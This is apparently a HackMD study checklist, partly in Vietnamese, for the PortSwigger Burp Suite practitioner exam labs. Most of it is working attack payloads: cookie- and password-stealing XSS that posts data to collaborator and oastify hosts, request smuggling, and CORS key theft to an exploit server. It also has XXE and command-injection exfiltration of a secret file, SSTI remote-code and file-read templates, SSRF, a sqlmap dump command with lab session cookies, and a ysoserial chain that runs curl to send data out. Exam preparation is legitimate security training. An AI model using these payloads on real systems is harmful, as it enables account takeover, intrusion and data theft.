Try   HackMD

Portswigger Checklist `(>﹏<)′

Stage 1. Account Takeover

1.1 Reflected XSS on search term

Tag and events wordlists

  • Exploiting cross-site scripting to steal cookies

    ​​​​<script>
    ​​​​    fetch('//<COLLABORATOR DOMAIN>', {
    ​​​​    method: 'POST',
    ​​​​    mode: 'no-cors',
    ​​​​    body:document.cookie
    ​​​​    });
    ​​​​</script>
    
    ​​​​xss"-fetch(atob('<BASE64_URL>')+document['cookie'])-"
    ​​​​\'</ScRiPt><img src=x onerror="window.location=`http://d7lk443a3qapex6cepn5sp8lico2cr.oastify.com/?x=`+document.cookie">
    
  • Exploiting cross-site scripting to capture passwords

    ​​​​<input name=username id=username>
    ​​​​<input type=password name=password onchange="if(this.value.length)fetch('//<COLLABORATOR DOMAIN>',{
    ​​​​method:'POST',
    ​​​​body:username.value ':' this.value
    ​​​​});">    
    
  • body onpopstate

    ​​​​<iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>"></iframe>
    
  • Some usual payloads

    ​​​​- URL: href=javascript:alert(1)
    ​​​​- AngularJS: {{constructor.constructor('alert(1)')()}}
    ​​​​- Location.hash: <iframe src="<DOMAIN>/#" onload="this.src+='<img src=1 onerror=print()>'"></iframe>
    ​​​​- "" - alert(1) - ""
    ​​​​- " autofocus onfocus=alert(document.domain) x="
    ​​​​- <iframe src="<DOMAIN>/?search=%3Cbody%20onresize=print()%3E" onload=this.style.width='150px'>
    ​​​​- <xss id=xss onfocus=alert(document.cookie) tabindex=1>#xss
    ​​​​- <svg><animatetransform onbegin=alert(1)>
    ​​​​- Canonical link tag: <DOMAIN>/?'accesskey='x'onclick='alert(1)
    ​​​​- ${alert(document.domain)}
    
  • Bypass filter

    ​​​​- \';alert(document.domain)// -> \\';alert(document.domain)//
    ​​​​- &apos;-alert(document.domain)-&apos; (Escape <>"\')
    

1.2 Host Header Injection reset-password

Change Host header in request POST /refreshpassword

Chức năng forgot password → Thay header Host thành exploit server → lấy được link đổi password

1.3 Web cache poisoning

  • Find endpoint (often /resources) contain X-Cache in response.
  • Param Miner → Unkeyed header

For example, X-Forwarded-Host: abc.com → import abc.com/resources/js/tracking.js → XSS payload on exploit-server.

1.4 HTTP Smuggling trigger XSS via User-Agent

  • TE.TE

    ​​​​POST / HTTP/1.1
    ​​​​Host: TARGET.net
    ​​​​Content-Type: application/x-www-form-urlencoded
    ​​​​Content-length: 4
    ​​​​Transfer-Encoding: chunked
    ​​​​Transfer-encoding: identity
    
    ​​​​e6
    ​​​​GET /post?postId=4 HTTP/1.1
    ​​​​User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?c='+document.cookie;</script>
    ​​​​Content-Type: application/x-www-form-urlencoded
    ​​​​Content-Length: 15
    
    ​​​​x=1
    ​​​​0\r\n  
    ​​​​\r\n
    
    
  • CL.TE

    ​​​​POST / HTTP/1.1
    ​​​​Host: TARGET.net
    ​​​​Content-Length: 237
    ​​​​Content-Type: application/x-www-form-urlencoded
    ​​​​Transfer-Encoding: chunked
    
    ​​​​0
    
    ​​​​GET /post?postId=4 HTTP/1.1
    ​​​​User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?Hack='+document.cookie;</script>
    ​​​​Content-Type: application/x-www-form-urlencoded
    ​​​​Content-Length: 5
    
    ​​​​x=1
    

1.5 DOM-based postMessage JSON data

<iframe src="<LAB-DOMAIN>" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:document.location='https://COLLABORATOR.com?c='+document.cookie\"}","*")'>
<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
    "type": "load-channel",
    "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>
<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
    "type": "load-channel",
    "url": "JavaScript:document.location=`https://COLLABORATOR.com?c=`+document.cookie"
}), "*");'>

1.6 Brute credential

Lấy usernamepassword list trên portswigger để brute cluster bomb phần login.

E.g: Tìm ra account agent:computer

Stage 2. Administrator Escalation

python3 .\sqlmap.py -u "<URL>/filtered_search?SearchTerm=a&sort-by=*&writer=a" --batch --cookie "<COOKIE>" --flush-session --technique E --dbms=PostgreSQL --level=2 --random-agent -v --dump -D public -T users

1.2 Broken Access Control in change-email function

Khi thay đổi email, thấy trả về có phần roleid. Thêm roleid vào request để brute thì tìm được 42 là roleid của admin.

  • Đầu tiên login vào user carlos, sau đó truy cập vào trang /forgotpassword.
  • Giao diện reset password vẫn hiện ra, nhập vào đây username cần reset pass là administrator và submit.

  • Check request, ngay lập tức session đã trả về cookie với tham số username là administrator và giá trị isloggedintrue. Có nghĩa là ta đã có cookie admin

1.4 CORS get API key and session from admin

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://TARGET.net/account_api/?EPOCHtime=1679134272000',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://EXPLOIT.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="data:text/html,<script>
    fetch('//<LAB-ID>.web-security-academy.net/accountDetails', {
        credentials:'include'
    }).then(r => r.json())
      .then(j => fetch('//exploit-<EXPLOIT-ID>.exploit-server.net/?key=' + atob(j)))</script>">
</iframe>

1.5 JWT

Stage 3. View content of /home/carlos/secret

3.1 File upload via URL

http://exploit-server/exploit.php?.jpg 
<?php
   echo file_get_contents("/home/carlos/secret");
?>

3.2 XXE admin user import

Exploit-server:

<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLABORATOR.net/?x=%file;'>">
%eval;
%exfil;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
<users>
    <user>
        <username>Carl Toyota</username>
        <email>carlos@hacked.net</email>
    </user>    
</users>

3.3 OS command injection inside XXE admin user import

<?xml version="1.0" encoding="UTF-8"?>
<users>
    <user>
        <username>Example111</username>
        <email>examp1le1@domain.com</email>
    </user>
    <user>
        <username>Example222</username>
        <email>example2@domain.com `ping \`cat /home/carlos/secret\`.eq8n3iddz9uwkrrau8vlxw9z1q7hv6.oastify.com`</email>
    </user>
</users>

3.4 SSTI

  • Detect: ${{<%[%'"}}%\
  • Identify:
  • Exploit: Payload all the things
    • Freemaker bypass sandbox (Blackhat Whitepaper)
      ​​​​​​​​// RCE
      ​​​​​​​​<#assign classloader=object.class.protectionDomain.classLoader>
      ​​​​​​​​<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
      ​​​​​​​​<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
      ​​​​​​​​<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
      ​​​​​​​​${dwf.newInstance(ec,null)("<SYSTEM CMD>")}
      
      ​​​​​​​​// Read file
      ​​​​​​​​${object.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
      
      ​​​​​​​​${"freemarker.template.utility.Execute"?new()("<CMD>")}
      

Config the reset-password email template

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

3.5 Download report as PDF using vulnerable library - SSRF

"PageContent": "<iframe src=\"http://localhost:6566/secret\" width=1000px height=2000px>"
 "tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>"

3.6 OS Command Injection in filesize

"200x44!`nslookup+$(cat+/home/carlos/secret).yhjkmipn93pxhlxu4dbh3p2c63cu0yon.oastify.com`"

References

Burp Suite Certified Practitioner Exam Review

Burp Suite Certified Practitioner Checklist

CHEAT SHEET

MOCK TEST

Stage 1: DOM-based XSS

xss"-fetch(atob('Ly9yc252aTk1eHUyaTA3Z3Jyb2RkNGgzNW8wZjZldTMub2FzdGlmeS5jb20vPw==')+document['cookie'])-"

Stage 2: SQLi

python3 .\sqlmap.py -u "https://0ae500f103ad103a81b18aa600d500c3.web-security-academy.net/filtered_search?SearchTerm=a&sort-by=*&writer=a" --batch --cookie "_lab=46%7cMCwCFHqQI9Y0uL8zPzLsGjscQpOCdyRpAhQj9rPLbFFZVCcnaB1OMkEhqskmEI0EOIeUL4eEi%2f1kBXKr5%2fQsMydwO1fM%2fLdxdyo02pi%2bTXsSZhrYiCFKrOZjmCy8Sg2KOuNvJGbWdhTZIuPSXT02HO6Ip31Pl11Du6fI3OJEesd2SR4%3d; session=FOrYeWVOTSPhTMieFWCTTYufOtJ8f5Yp" --dbms=PostgreSQL --level=2 --random-agent -v --dump -D public -T users

Stage 3: Java Insecure Deserialization

import os
import base64
import gzip
 
command = os.popen('java -jar D:\Tools\Insecure-Deserialization\ysoserial\ysoserial.jar CommonsCollections6 "curl --data @/home/carlos/secret 1rtaforbckecvm8q9uopq6bbb2ht7hw.oastify.com" 2> nul| base64 | sed ":a;N;$!ba;s/\\n//g"')
result = command.read().encode()
command.close()
compressed = gzip.compress(base64.b64decode(result))
encoded = base64.b64encode(compressed).decode()
print(encoded)
tags: portswigger, burpsuite, checklist